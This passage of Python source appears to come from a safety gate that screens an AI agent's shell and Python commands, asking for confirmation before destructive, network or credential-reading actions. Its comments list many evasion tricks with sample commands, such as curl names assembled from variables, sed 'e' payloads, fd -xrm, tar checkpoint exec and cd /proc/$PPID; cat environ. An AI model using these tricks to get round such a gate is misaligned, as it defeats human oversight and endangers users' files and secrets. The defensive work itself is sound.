# the file to zero bytes, the same loss as the gated `truncate -s 0`. A
|
|
# redirect after a real command (`python train.py > out.log`) stays out.
|
|
if _BARE_TRUNCATING_REDIRECT_RE.search(command):
|
|
return True
|
|
# A process substitution an interpreter executes runs a script the static scan
|
|
# cannot read, so fail closed.
|
|
if _PROC_SUBST_EXEC_RE.search(command):
|
|
return True
|
|
# A script piped into a shell (printf '...' | bash) or fed as a herestring
|
|
# (bash <<< '...') is executed without ever appearing at command position.
|
|
if _PKG_REMOVE_AT_CMD_RE.search(command):
|
|
return True
|
|
if _PIPE_TO_INTERPRETER_RE.search(command.lower()):
|
|
return True
|
|
_herestring = _HERESTRING_TO_INTERPRETER_RE.search(command)
|
|
if _herestring:
|
|
return True
|
|
# Newlines separate commands in a shell but read as whitespace to shlex, and
|
|
# ANSI-C quoting ($'rm') hides the real command name.
|
|
decoded = _decode_ansi_c(command, keep_one_word = True)
|
|
normalized = decoded.replace("\r\n", ";").replace("\n", ";").replace("\r", ";")
|
|
# Identical to the blanket form unless a newline is actually present, so the
|
|
# usual single-line command never pays for the quote walk.
|
|
quoted_newlines_kept = (
|
|
_separate_unquoted_newlines(decoded) if "\n" in decoded or "\r" in decoded else normalized
|
|
)
|
|
# Matched against a sed program below to tell an expansion the shell RUNS
|
|
# from one the program merely quotes. Held in both newline forms so the
|
|
# match works whichever pass produced the tokens.
|
|
live_expansions: "set[str]" = set()
|
|
if "$" in command or "`" in command:
|
|
live_expansions = {
|
|
form
|
|
for expansion in _shell_expansions(command)
|
|
for form in (
|
|
expansion,
|
|
expansion.replace("\r\n", ";").replace("\n", ";").replace("\r", ";"),
|
|
)
|
|
}
|
|
# A verb hidden behind an assignment (c=rm; $c x) or a default parameter
|
|
# (${c:-rm}) is expanded so the resolved token is scanned too.
|
|
expanded = _expand_shell_assignments(_expand_param_defaults(normalized))
|
|
# Run the network exfil check over the expanded form too, so a curl/wget
|
|
# name assembled from variables (c=cu d=rl; $c$d -F ...) is still seen.
|
|
if _command_is_network_exec_or_exfil(command) or _command_is_network_exec_or_exfil(expanded):
|
|
return True
|
|
# A command substitution at command position generates the command Bash runs.
|
|
if _COMMAND_SUBST_AT_CMD_RE.search(command):
|
|
return True
|
|
# A variable executed at command position hides the name that actually runs. A
|
|
# plain assignment is resolved by the expansion above, so reaching here means
|
|
# the binding came from somewhere this scan cannot follow (a command
|
|
# substitution, or `printf -v c rm`). No name left to screen: fail closed.
|
|
if _HAS_COMMAND_SUBST_RE.search(command) and _VAR_EXECUTED_AS_COMMAND_RE.search(command):
|
|
return True
|
|
if _BARE_VAR_AS_COMMAND_RE.search(expanded):
|
|
return True
|
|
# An array run as a command (x=(git clean -fd); bash -c "${x[*]}") carries no
|
|
# command substitution, and assignment expansion does not resolve arrays, so
|
|
# the check above misses it. A benign array print is untouched.
|
|
if _ARRAY_EXPANSION_RE.search(command) and _VAR_EXECUTED_AS_COMMAND_RE.search(command):
|
|
return True
|
|
# A newline inside a QUOTED argument is data, not a separator, and turning
|
|
# it into `;` rewrites that data: a sed comment ends at a real newline, so
|
|
# `sed '# note<newline>e CMD'` reads as one long comment once the newline is
|
|
# gone. So a pass that only separates the UNQUOTED ones is scanned too. It
|
|
# keeps every command boundary the blanket form has, so the token stream is
|
|
# the same and only quoted content differs: the pass adds detections without
|
|
# merging two commands into one segment. The set collapses to a single scan
|
|
# for the usual single-line command.
|
|
for text in {normalized, expanded, quoted_newlines_kept}:
|
|
try:
|
|
lexer = shlex.shlex(text, posix = True, punctuation_chars = ";&|()")
|
|
lexer.whitespace_split = True
|
|
tokens = list(lexer)
|
|
except ValueError:
|
|
return True
|
|
recursive = any(
|
|
t in ("-R", "--recursive")
|
|
or (t[:1] == "-" and t[:2] != "--" and "=" not in t and "R" in t[1:])
|
|
for t in tokens
|
|
)
|
|
find_like = any(
|
|
os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in tokens
|
|
)
|
|
# Shared out over the sed words present, so a lone sed reads its whole
|
|
# argument list and a line packed with them stays linear (_sed_scan_limit).
|
|
sed_scan_limit = _sed_scan_limit(
|
|
sum(1 for t in tokens if os.path.basename(t.strip(";&|()`{}")).lower() in _SED_COMMANDS)
|
|
)
|
|
# Built at most once per pass, and only when a sed program actually
|
|
# names a variable, so a line packed with sed words stays linear.
|
|
sed_vars: "dict[str, str] | None" = None
|
|
sed_bindings: "list[tuple[int, str, str | None]] | None" = None
|
|
sed_cursor = 0
|
|
# Where a sed invocation really ends. Built at most once per pass, and
|
|
# only once a sed is actually reached, so a line without one never pays
|
|
# for the quote walk it needs (_quoted_separator_indexes).
|
|
sed_stops: "frozenset[int] | None" = None
|
|
sed_skips: "frozenset[int]" = frozenset()
|
|
sed_quoted: "frozenset[int]" = frozenset()
|
|
sed_globs: "frozenset[int]" = frozenset()
|
|
sed_expandable: "frozenset[int]" = frozenset()
|
|
if find_like and any(t.split("=", 1)[0] in _HIGH_RISK_FIND_FLAGS for t in tokens):
|
|
return True
|
|
# GNU tar runs --checkpoint-action=exec=CMD at each checkpoint, hiding a
|
|
# command (including hard-blocked ones) inside an argument.
|
|
if any(
|
|
os.path.basename(t.strip(";&|()`{}")).lower() in _ARG_EXEC_FLAG_OWNERS for t in tokens
|
|
) and any(t.split("=", 1)[0] in _HIGH_RISK_ARG_EXEC_FLAGS for t in tokens):
|
|
return True
|
|
# An interpreter serving on the network exposes the session workdir; the
|
|
# sandbox keeps no network namespace.
|
|
if _LISTENER_PY_MODULE_RE.search(text) or _LISTENER_BIN_AT_CMD_RE.search(text):
|
|
return True
|
|
expect_command = True # at the start of a command (after a separator)
|
|
prefix_pending = False # inside a wrapper (env/timeout/...) still seeking the command
|
|
scan_forward = False # a forwarding command (find/xargs/...) precedes another command
|
|
current_command = "" # the resolved command whose flags / git subcommand we judge
|
|
git_subcommand = "" # the first positional after `git`
|
|
shell_c_pending = False # a shell `-c` precedes its inline payload
|
|
wrapper_value_pending = False # a wrapper option precedes its value
|
|
exec_flag_pending = False # inside find/fd, waiting for -exec
|
|
git_checkout_positionals = 0 # positionals seen after `git checkout`
|
|
git_worktree_action = "" # the action after `git worktree`
|
|
win_operand_pending = False # operand of a Windows `if exist`/`if defined`
|
|
inline_python_pending = False # next token is a `python -c` payload
|
|
py_module_pending = False # next token is the module after `python -m`
|
|
git_submodule_action = "" # the action after `git submodule`
|
|
awk_program_pending = False # next positional is an awk program
|
|
git_config_alias_pending = False # `git config alias.x` precedes its body
|
|
git_glob_pending = False # a git global option (-C repo) precedes its value
|
|
chdir_pending = False # a cd/pushd precedes its target directory
|
|
xargs_index = -1 # an xargs awaiting the command whose argv it builds
|
|
for _tok_idx, token in enumerate(tokens):
|
|
if (
|
|
token in _SHELL_SEPARATORS
|
|
or (token in _SHELL_KEYWORDS_AS_SEP and expect_command)
|
|
or not set(token) - set(";&|()")
|
|
):
|
|
expect_command = True
|
|
prefix_pending = False
|
|
xargs_index = -1
|
|
# A dangling wrapper option (env -u ; rm ...) must not consume
|
|
# the next segment's command word.
|
|
wrapper_value_pending = False
|
|
scan_forward = False
|
|
current_command = ""
|
|
git_subcommand = ""
|
|
git_worktree_action = ""
|
|
win_operand_pending = False
|
|
inline_python_pending = False
|
|
py_module_pending = False
|
|
git_submodule_action = ""
|
|
awk_program_pending = False
|
|
shell_c_pending = False
|
|
git_glob_pending = False
|
|
chdir_pending = False
|
|
continue
|
|
if py_module_pending:
|
|
py_module_pending = False
|
|
if token.strip("\"'").lower() in _LISTENER_PY_MODULE_NAMES:
|
|
return True
|
|
if inline_python_pending:
|
|
inline_python_pending = False
|
|
if _depth >= 3 or _inline_python_is_high_risk(token):
|
|
return True
|
|
continue
|
|
if expect_command and token.lower() in _WIN_CONDITIONAL_KEYWORDS:
|
|
# `if exist FILE del FILE`: the operand sits where the command
|
|
# word would be, so the real command is still ahead.
|
|
win_operand_pending = token.lower() != "not"
|
|
continue
|
|
if win_operand_pending:
|
|
win_operand_pending = False
|
|
continue
|
|
if expect_command and _REDIR_PREFIX_RE.match(token):
|
|
# Bash accepts a redirection before the command word
|
|
# (`</dev/null rm -rf build`); the command is still to come.
|
|
continue
|
|
if exec_flag_pending and token == "--":
|
|
# fd tells a user whose PATTERN starts with a dash to write
|
|
# `fd -- '-foo'`, so nothing behind the marker is an option and
|
|
# `fd -- -x rm` merely lists a file called `-x`.
|
|
exec_flag_pending = False
|
|
continue
|
|
if token.startswith("-"):
|
|
flag = token.split("=", 1)[0]
|
|
# find/fd: the command after -exec/-ok is the one that runs.
|
|
if exec_flag_pending and flag in _EXEC_FORWARD_FLAGS:
|
|
# `fd . --exec=rm` attaches the command to the flag, so the
|
|
# value is the command that runs, not an option argument.
|
|
if "=" in token and flag in _ATTACHED_EXEC_FLAGS:
|
|
attached = token.split("=", 1)[1].strip("\"'")
|
|
if attached and (
|
|
_depth >= 3 or _terminal_is_high_risk(attached, _depth + 1)
|
|
):
|
|
return True
|
|
scan_forward = True
|
|
expect_command = True
|
|
continue
|
|
if exec_flag_pending and token[:2] in {"-x", "-X"} and len(token) > 2:
|
|
# fd takes the command attached to the SHORT option too, and
|
|
# only the exact spellings were read as one: `fd '^victim$'
|
|
# . -xrm` deletes the match for real (fdfind 9.0.0).
|
|
attached = token[2:].strip("\"'")
|
|
if attached and (_depth >= 3 or _terminal_is_high_risk(attached, _depth + 1)):
|
|
return True
|
|
scan_forward = True
|
|
expect_command = True
|
|
continue
|
|
if current_command == "setpriv" and flag in _SETPRIV_PRIVILEGE_FLAGS:
|
|
# Ahead of the wrapper-value skip below, which would otherwise
|
|
# swallow `--reuid 0` before it is judged.
|
|
return True
|
|
# A wrapper option taking a SEPARATE value (env -u NAME): the next
|
|
# token is that value, not the wrapped command.
|
|
if (
|
|
prefix_pending
|
|
and "=" not in token
|
|
and flag in _WRAPPER_VALUE_FLAGS_BY_CMD.get(current_command, frozenset())
|
|
):
|
|
wrapper_value_pending = True
|
|
continue
|
|
# An interpreter running inline code (python -c, node -e) executes
|
|
# a program the terminal path never screens. Matches the long
|
|
# --eval/--exec forms and any short cluster carrying -c.
|
|
_inline_spec = (
|
|
_inline_code_flag_spec(current_command)
|
|
if _is_inline_code_interpreter(current_command)
|
|
else None
|
|
)
|
|
_current_is_python_family = current_command.startswith(("python", "pypy"))
|
|
if _current_is_python_family and flag == "-m":
|
|
py_module_pending = True
|
|
continue
|
|
if _inline_spec is not None and (
|
|
flag in _inline_spec[0] or _short_flag_arg(token, _inline_spec[1]) is not None
|
|
):
|
|
# Python payloads go through the python tool's analyzer, so an
|
|
# ordinary one-liner runs and a destructive one asks. The other
|
|
# runtimes have no analyzer here, so they stay gated.
|
|
if _current_is_python_family:
|
|
# A bare `-c` yields an EMPTY attached value, not None,
|
|
# so the payload is the next token; only a non-empty
|
|
# value is the attached form (python -c'print(1)').
|
|
_attached = _short_flag_arg(token, _inline_spec[1])
|
|
if _attached:
|
|
if _depth >= 3 or _inline_python_is_high_risk(_attached):
|
|
return True
|
|
continue
|
|
inline_python_pending = True
|
|
continue
|
|
return True
|
|
# node/bun -p / --print evaluate and print arbitrary source, the
|
|
# same inline-code risk as -e/--eval (attached node -p'...' too).
|
|
if current_command in _NODE_PRINT_INTERPRETERS and (
|
|
flag in _NODE_PRINT_FLAGS or _short_flag_arg(token, "p") is not None
|
|
):
|
|
return True
|
|
# PowerShell -Command / -EncodedCommand run an inline program the
|
|
# terminal path cannot screen; a bare `pwsh script.ps1` still runs.
|
|
if current_command in _POWERSHELL_INTERPRETERS and flag.lower().startswith(
|
|
("-c", "-e")
|
|
):
|
|
return True
|
|
# A shell `-c PAYLOAD` runs its quoted payload; screen it
|
|
# recursively. Combined clusters (bash -lc) carry -c too.
|
|
if current_command in _SHELL_C_INTERPRETERS:
|
|
payload = _short_flag_arg(token, "c")
|
|
if payload is not None:
|
|
# A short run of plain letters after `c` (bash -ce) is more
|
|
# bash OPTIONS, not an attached payload: the command string
|
|
# still comes from the next token.
|
|
if payload and payload.isalpha() and len(payload) <= 4:
|
|
shell_c_pending = True
|
|
elif payload:
|
|
if _depth >= 3:
|
|
return True
|
|
if _terminal_is_high_risk(payload, _depth + 1):
|
|
return True
|
|
else:
|
|
shell_c_pending = True
|
|
# env -S 'cmd' runs the string as a new command, so screen it;
|
|
# env -C chdirs (enabling a relative sensitive read), so it asks.
|
|
if current_command == "env":
|
|
if flag in ("-C", "--chdir"):
|
|
return True
|
|
payload = None
|
|
if token.startswith("-S") and token != "-S":
|
|
payload = token[2:] # attached: -S'cmd'
|
|
elif flag == "--split-string" and "=" in token:
|
|
payload = token.split("=", 1)[1]
|
|
elif token == "-S" or flag == "--split-string":
|
|
shell_c_pending = True # payload is the next token
|
|
if (
|
|
payload is not None
|
|
and _depth < 3
|
|
and _terminal_is_high_risk(payload, _depth + 1)
|
|
):
|
|
return True
|
|
if current_command == "sysctl" and flag in _SYSCTL_WRITE_FLAGS:
|
|
return True
|
|
if current_command == "fallocate" and (
|
|
flag in _FALLOCATE_DESTRUCTIVE_FLAGS
|
|
or any(f in _FALLOCATE_DESTRUCTIVE_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
if (
|
|
current_command == "git"
|
|
and git_subcommand == "worktree"
|
|
and git_worktree_action == "remove"
|
|
and flag in _HIGH_RISK_GIT_WORKTREE_FLAGS
|
|
):
|
|
return True
|
|
if current_command == "git":
|
|
# reset --hard discards the working tree; push --force
|
|
# overwrites a remote ref.
|
|
if git_subcommand == "reset" and flag in _HIGH_RISK_GIT_RESET_FLAGS:
|
|
return True
|
|
if git_subcommand == "push" and (
|
|
flag in _HIGH_RISK_GIT_PUSH_FLAGS
|
|
or any(f in _HIGH_RISK_GIT_PUSH_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
# git checkout -f / --force, or an explicit `--` path
|
|
# separator (git checkout -- file), discards tracked edits.
|
|
if git_subcommand == "checkout" and (
|
|
flag in _HIGH_RISK_GIT_CHECKOUT_FLAGS
|
|
or any(
|
|
f in _HIGH_RISK_GIT_CHECKOUT_FLAGS for f in _short_flag_cluster(token)
|
|
)
|
|
or token == "--"
|
|
or flag == "--pathspec-from-file"
|
|
):
|
|
return True
|
|
if git_subcommand == "checkout-index" and (
|
|
flag in _HIGH_RISK_GIT_CHECKOUT_INDEX_FLAGS
|
|
or any(
|
|
f in _HIGH_RISK_GIT_CHECKOUT_INDEX_FLAGS
|
|
for f in _short_flag_cluster(token)
|
|
)
|
|
):
|
|
return True
|
|
if git_subcommand == "tag" and (
|
|
flag in _HIGH_RISK_GIT_TAG_FLAGS
|
|
or any(f in _HIGH_RISK_GIT_TAG_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
if git_subcommand == "switch" and (
|
|
flag in _HIGH_RISK_GIT_SWITCH_FLAGS
|
|
or any(f in _HIGH_RISK_GIT_SWITCH_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
# git branch -D / -M drops or overwrites unmerged commits.
|
|
if git_subcommand == "branch" and (
|
|
flag in _HIGH_RISK_GIT_BRANCH_FLAGS
|
|
or any(f in _HIGH_RISK_GIT_BRANCH_FLAGS for f in _short_flag_cluster(token))
|
|
):
|
|
return True
|
|
# --config-env=<key>=<envvar> reads the value from the
|
|
# environment, unresolvable here, so an alias key would store
|
|
# unscreened code git runs on the next call.
|
|
if flag == "--config-env" and _GIT_CONFIG_ENV_ALIAS_RE.search(token):
|
|
return True
|
|
# A git global option with a separate value (git -C repo clean)
|
|
# precedes its value, not the subcommand.
|
|
if not git_subcommand and "=" not in token and flag in _GIT_GLOBAL_VALUE_FLAGS:
|
|
git_glob_pending = True
|
|
continue
|
|
if _ASSIGNMENT_RE.match(token):
|
|
_assign_name, _, _assign_value = token.partition("=")
|
|
# `alias zap='rm -rf'` stores a command bash runs when the alias
|
|
# is invoked, the same shape as a git alias body.
|
|
if current_command == "alias" and _assign_value:
|
|
if _depth >= 3 or _terminal_is_high_risk(_assign_value, _depth + 1):
|
|
return True
|
|
# PATH/LD_PRELOAD-style assignments hijack command lookup, but only
|
|
# for the command they prefix: a bare `export PATH=...` runs
|
|
# nothing, and the shell it was set in exits immediately.
|
|
if _env_assignment_is_unsafe(
|
|
_assign_name, _assign_value
|
|
) and _segment_has_command_after(tokens, _tok_idx):
|
|
return True
|
|
continue
|
|
raw = token.strip(";&|()`{}")
|
|
if not raw:
|
|
continue
|
|
# cmd.exe /c (or /k) runs the following token as a nested command. /c is
|
|
# not a `-`-flag, so it is handled here in argument position after cmd.
|
|
if current_command in _CMD_SHELLS and raw.lower() in ("/c", "/k"):
|
|
shell_c_pending = True
|
|
continue
|
|
# The payload of a shell `-c`, screened recursively (bounded depth).
|
|
if shell_c_pending:
|
|
shell_c_pending = False
|
|
# An unquoted payload (cmd /c git clean -fd) spans the remaining
|
|
# tokens, so screen the whole remainder.
|
|
payload = " ".join(tokens[_tok_idx:])
|
|
if _depth >= 3:
|
|
# Too deeply nested to screen: fail closed.
|
|
return True
|
|
if _terminal_is_high_risk(payload, _depth + 1):
|
|
return True
|
|
if payload != raw and _terminal_is_high_risk(raw, _depth + 1):
|
|
return True
|
|
expect_command = False
|
|
continue
|
|
# The value of a git global option (git -C repo clean): not the subcommand.
|
|
if git_glob_pending:
|
|
git_glob_pending = False
|
|
# `git -c alias.x=BODY` defines an alias git later executes, so the
|
|
# payload is real code hiding in an option value: screen it.
|
|
m = _GIT_ALIAS_ASSIGN_RE.match(raw)
|
|
if m and _depth < 3:
|
|
alias_body = m.group(1)
|
|
# A `!` alias runs through a shell; a plain one is a git
|
|
# subcommand, so screen it as `git <body>` to reach the git
|
|
# gates (alias.n='clean -fd' really runs `git clean -fd`).
|
|
nested = alias_body[1:] if alias_body.startswith("!") else "git " + alias_body
|
|
if _terminal_is_high_risk(nested, _depth + 1):
|
|
return True
|
|
continue
|
|
# The value of a wrapper option (env -u FOO, stdbuf -o L): not the
|
|
# command, so skip it and keep looking for the wrapped command.
|
|
if wrapper_value_pending:
|
|
wrapper_value_pending = False
|
|
continue
|
|
# A wrapper's bare duration argument (timeout 5 rm) is not the command.
|
|
if prefix_pending and _WRAPPER_DURATION_RE.fullmatch(raw):
|
|
continue
|
|
base = os.path.basename(raw).lower()
|
|
stem, ext = os.path.splitext(base)
|
|
if ext in {".exe", ".com", ".bat", ".cmd"}:
|
|
base = stem
|
|
if (expect_command or prefix_pending) and (
|
|
base in _AUTO_SAFE_WRAPPERS
|
|
or base in _MULTICALL_BINARIES
|
|
or base in _PRIVILEGE_EXEC_WRAPPERS
|
|
):
|
|
# A wrapper (env/timeout) or a multicall binary (busybox rm)
|
|
# precedes the real command; keep seeking it, but track it so its
|
|
# own flags (env -S / -C) are judged in the meantime.
|
|
prefix_pending = True
|
|
expect_command = False
|
|
current_command = base
|
|
continue
|
|
if expect_command or prefix_pending or scan_forward:
|
|
if base in _HIGH_RISK_COMMANDS or base.startswith("mkfs"):
|
|
# A container CLI reading its own state (docker ps, docker
|
|
# logs) inspects; anything else starts or enters a container.
|
|
if not (
|
|
base in _CONTAINER_CLIS
|
|
and _container_subcommand_is_read_only(tokens, _tok_idx)
|
|
):
|
|
return True
|
|
# Bash expands a command-position glob after this scan, so the name
|
|
# here is not the one that runs (`/bin/r[m] -rf x`): ask.
|
|
if _is_unresolved_command_glob(base):
|
|
return True
|
|
# A server binary resolved here covers the wrapped and absolute
|
|
# forms (env uvicorn app:api, timeout 60 gunicorn, /usr/bin/uvicorn).
|
|
if base in _LISTENER_BINARIES:
|
|
return True
|
|
if base in _HIGH_RISK_RECURSIVE_COMMANDS and _segment_is_recursive(
|
|
tokens, _tok_idx
|
|
):
|
|
return True
|
|
if base in _HIGH_RISK_FORWARDING_COMMANDS:
|
|
if base == "xargs" and xargs_index < 0:
|
|
# It builds the argv of whatever follows, so a sed there
|
|
# may be handed a program this scan cannot see.
|
|
xargs_index = _tok_idx
|
|
# find/fd only run a child at -exec/-ok; forwarding from the
|
|
# command itself would make `find . -name rm` prompt.
|
|
if base in _EXEC_FLAG_FORWARDING_COMMANDS:
|
|
scan_forward = False
|
|
exec_flag_pending = True
|
|
else:
|
|
scan_forward = True
|
|
elif base == "git":
|
|
# Only git needs the forwarding scan to stop: its risk lives in
|
|
# the SUBCOMMAND (git clean), so following tokens are git's own
|
|
# arguments. Others keep scanning, since find's predicates sit
|
|
# between `find` and `-exec rm`.
|
|
scan_forward = False
|
|
# Remember the resolved command so its own flags (python -c), git
|
|
# subcommand or chdir target can be judged as they follow.
|
|
current_command = base
|
|
if base in _CHDIR_COMMANDS:
|
|
chdir_pending = True
|
|
if base in _AWK_COMMANDS:
|
|
awk_program_pending = True
|
|
if base in _SED_COMMANDS:
|
|
# `e` / `s///e` shell out from inside the script, which may
|
|
# ride on -e/--expression rather than the next positional.
|
|
# A script --sandbox / --posix stops sed compiling is already
|
|
# left out of the program (_sed_invocation), so a payload
|
|
# inside one never reaches this screen.
|
|
if sed_stops is None:
|
|
# A quoted `';'` / `'+'` operand is a sed FILE, not the
|
|
# end of the invocation; reading it as one dropped the
|
|
# `-e` script behind it (`sed -n ';' -e '1e rm -f
|
|
# victim' input` really runs rm). A redirection is the
|
|
# other way round: those words never reach sed at all.
|
|
sed_quoted = _quoted_separator_indexes(text, tokens, ";&|()")
|
|
_flags, sed_stops, sed_skips = _exec_scan_layout(
|
|
tokens, sed_quoted, _quoted_redirection_indexes(text, tokens, ";&|()")
|
|
)
|
|
sed_globs = _unquoted_glob_indexes(text, tokens, ";&|()")
|
|
sed_expandable = _unquoted_expansion_indexes(text, tokens, ";&|()")
|
|
sed_alternatives, sed_overflowed, sed_live = _sed_invocation(
|
|
tokens,
|
|
_tok_idx,
|
|
sed_scan_limit,
|
|
sed_stops,
|
|
sed_skips,
|
|
sed_globs,
|
|
sed_expandable,
|
|
)
|
|
sed_program = "\n".join(sed_alternatives)
|
|
if sed_overflowed:
|
|
# The script was pushed past the scan window by padding
|
|
# options, so "no payload found" only means "not looked
|
|
# at": ask instead of falling through to safe.
|
|
return True
|
|
if _sed_program_is_a_placeholder(sed_program):
|
|
# find rewrites `{}` before the child starts.
|
|
return True
|
|
if xargs_index >= 0 and _xargs_hides_sed_program(
|
|
tokens, xargs_index, _tok_idx, sed_program
|
|
):
|
|
# xargs builds the argv from stdin or an -I placeholder,
|
|
# so the program is not in the text to read at all.
|
|
return True
|
|
if "$" in sed_program:
|
|
# A program held in a variable (p='# note<newline>e CMD';
|
|
# sed "$p" f) is only a program once the reference is
|
|
# resolved, and only THIS pass keeps the quoted newline
|
|
# that ends the comment: the blanket one turns the whole
|
|
# value into a single inert comment line. Only the
|
|
# assignments ahead of this sed can reach it, and the
|
|
# last of them is the one bash uses.
|
|
if sed_bindings is None:
|
|
sed_bindings = _assignment_bindings(tokens, sed_quoted)
|
|
sed_vars = {}
|
|
sed_cursor = _bindings_before(sed_bindings, sed_cursor, _tok_idx, sed_vars)
|
|
sed_variants = [
|
|
variant
|
|
for alternative in sed_alternatives
|
|
for variant in _sed_program_variants(alternative, sed_vars or {})
|
|
]
|
|
if any(_sed_exec_payloads(variant) for variant in sed_variants):
|
|
return True
|
|
# A program the shell still has to build is not knowable
|
|
# here -- sed splices the result straight into the program
|
|
# text, where it can open `;e CMD` from any position -- so
|
|
# an unread one asks rather than being assumed to only edit
|
|
# text (_sed_program_unresolved).
|
|
# Only where the program's OWN occurrence is one the
|
|
# shell expands: the live set covers the whole command, so
|
|
# matching by text alone made the read-only
|
|
# `echo "$p"; sed 's/$p/x/' f` ask for an expansion another
|
|
# command performs.
|
|
if sed_live and _sed_program_unresolved(sed_variants, live_expansions):
|
|
return True
|
|
elif current_command == "git" and not git_subcommand:
|
|
# The first positional after `git` is its subcommand.
|
|
git_subcommand = base
|
|
if base == "clean" and _segment_has_flag(
|
|
tokens, _tok_idx, _GIT_CLEAN_DRY_RUN_FLAGS, "n"
|
|
):
|
|
# A dry run lists what would go and removes nothing.
|
|
expect_command = False
|
|
prefix_pending = False
|
|
continue
|
|
if base in _HIGH_RISK_GIT_SUBCOMMANDS:
|
|
return True
|
|
elif awk_program_pending:
|
|
awk_program_pending = False
|
|
if _AWK_SHELL_ESCAPE_RE.search(raw):
|
|
return True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "submodule"
|
|
and git_submodule_action == "foreach"
|
|
):
|
|
# `git submodule foreach '<cmd>'` runs the argument in every
|
|
# submodule, so it is a command in its own right.
|
|
git_submodule_action = ""
|
|
if _depth >= 3 or _terminal_is_high_risk(raw, _depth + 1):
|
|
return True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "submodule"
|
|
and not git_submodule_action
|
|
):
|
|
git_submodule_action = base
|
|
elif current_command == "getent" and base in _GETENT_CREDENTIAL_DATABASES:
|
|
# The database name is the whole request; no path is mentioned.
|
|
return True
|
|
elif current_command == "openssl" and base in _OPENSSL_NETWORK_SUBCOMMANDS:
|
|
# openssl s_client/s_server open a TLS socket. The regex above is
|
|
# anchored at command position, so it misses the wrapped forms.
|
|
return True
|
|
elif current_command == "sysctl" and "=" in raw:
|
|
# `sysctl net.ipv4.ip_forward=1` writes without needing -w.
|
|
return True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "worktree"
|
|
and not git_worktree_action
|
|
):
|
|
git_worktree_action = base
|
|
elif current_command in _EVAL_SUBCOMMAND_INTERPRETERS and base == "eval":
|
|
# `deno eval "..."` / `bun eval "..."` run inline code as a
|
|
# subcommand rather than a flag, the same risk as -e.
|
|
return True
|
|
elif current_command == "git" and git_subcommand == "checkout" and base == ".":
|
|
# `git checkout .` discards every tracked working-tree change.
|
|
return True
|
|
elif current_command == "git" and git_subcommand == "checkout":
|
|
# A SECOND positional means the first was a commit-ish and this is
|
|
# a pathspec (git checkout HEAD file), which overwrites the file. A
|
|
# single one is ambiguous with a branch name and is left alone.
|
|
git_checkout_positionals += 1
|
|
if git_checkout_positionals >= 2:
|
|
return True
|
|
elif (
|
|
current_command == "git" and git_subcommand == "config" and git_config_alias_pending
|
|
):
|
|
git_config_alias_pending = False
|
|
# The stored alias body is code git runs on the next invocation.
|
|
nested = raw[1:] if raw.startswith("!") else "git " + raw
|
|
if _depth >= 3 or _terminal_is_high_risk(nested, _depth + 1):
|
|
return True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "config"
|
|
and raw.lower().startswith("alias.")
|
|
):
|
|
git_config_alias_pending = True
|
|
elif (
|
|
current_command == "git"
|
|
and git_subcommand == "stash"
|
|
and base in _HIGH_RISK_GIT_STASH_ACTIONS
|
|
):
|
|
# `git stash clear` / `drop` destroys stashed work unrecoverably.
|
|
return True
|
|
elif current_command == "git" and git_subcommand == "push" and raw[:1] in ("+", ":"):
|
|
# A refspec forcing (+src:dst) or deleting (:dst) a remote ref is
|
|
# the punctuation form of --force / --delete.
|
|
if len(raw) > 1:
|
|
return True
|
|
elif chdir_pending:
|
|
# A chdir into a sensitive directory sets up a relative read that no
|
|
# single token spells out (cd /proc/$PPID; cat environ).
|
|
chdir_pending = False
|
|
if any(
|
|
_SENSITIVE_CHDIR_RE.search(cand)
|
|
for cand in (raw, _expand_param_defaults(raw), _expand_shell_assignments(raw))
|
|
):
|
|
return True
|
|
expect_command = False
|
|
prefix_pending = False
|
|
return False
|
|
|
|
|
|
def _python_is_high_risk(code: str) -> bool:
|
|
"""High-risk python for auto mode: code the sandbox static analysis would
|
|
refuse anyway (shell escape, network egress, a sensitive read), that
|
|
reads/writes a credential path, or that runs dynamically built code past
|
|
those static checks. Ordinary in-workdir file writes and computation run
|
|
without a prompt."""
|
|
if not code or not code.strip():
|
|
return False
|
|
# _check_code_safety objecting means execution would be refused outright, so a
|
|
# confirmation first beats a silent refusal.
|
|
if _check_code_safety(code) is not None:
|
|
return True
|
|
try:
|
|
tree = ast.parse(code)
|
|
except SyntaxError:
|
|
# Unparsable code never runs, but scan the raw text anyway.
|
|
return _references_sensitive_path(code)
|
|
# A credential basename only names a file when it appears in a string, so match
|
|
# it there rather than across the source: `credentials = {}` and
|
|
# `def load_credentials()` do no I/O and must not prompt.
|
|
for _node in ast.walk(tree):
|
|
if (
|
|
isinstance(_node, ast.Constant)
|
|
and isinstance(_node.value, str)
|
|
and _references_sensitive_path(_node.value)
|
|
):
|
|
return True
|
|
# A destructive filesystem call (shutil.rmtree, Path.unlink) asks, for parity
|
|
# with the terminal `rm` gate. Collect bare import aliases first.
|
|
destructive_fs_aliases: "set[str]" = set()
|
|
# Modules whose handles end processes; tracked so an unrelated .kill() on a
|
|
# user-defined object is not mistaken for one.
|
|
psutil_names: "set[str]" = set()
|
|
for _node in ast.walk(tree):
|
|
if isinstance(_node, ast.Import):
|
|
for _a in _node.names:
|
|
if _a.name.split(".")[0] in _PY_PROCESS_MODULES:
|
|
psutil_names.add("psutil")
|
|
elif (
|
|
isinstance(_node, ast.ImportFrom)
|
|
and (_node.module or "").split(".")[0] in _PY_PROCESS_MODULES
|
|
):
|
|
psutil_names.add("psutil")
|
|
# `import os as filesystem` rebinds the module, so os.remove reached through
|
|
# the alias (filesystem.remove) must resolve too; posix is os's low-level twin.
|
|
os_module_aliases: "set[str]" = {"os", "posix", "nt"}
|
|
|
|
def _is_os_module_ref(value) -> bool:
|
|
# A Name bound to os/posix/nt, a walrus binding one, or a literal
|
|
# __import__("os") call used directly. builtins.__import__ is the same
|
|
# callable reached through the module, so both spellings resolve.
|
|
if isinstance(value, ast.Name):
|
|
return value.id in os_module_aliases
|
|
if isinstance(value, ast.NamedExpr):
|
|
return _is_os_module_ref(value.value)
|
|
if not isinstance(value, ast.Call):
|
|
return False
|
|
func = value.func
|
|
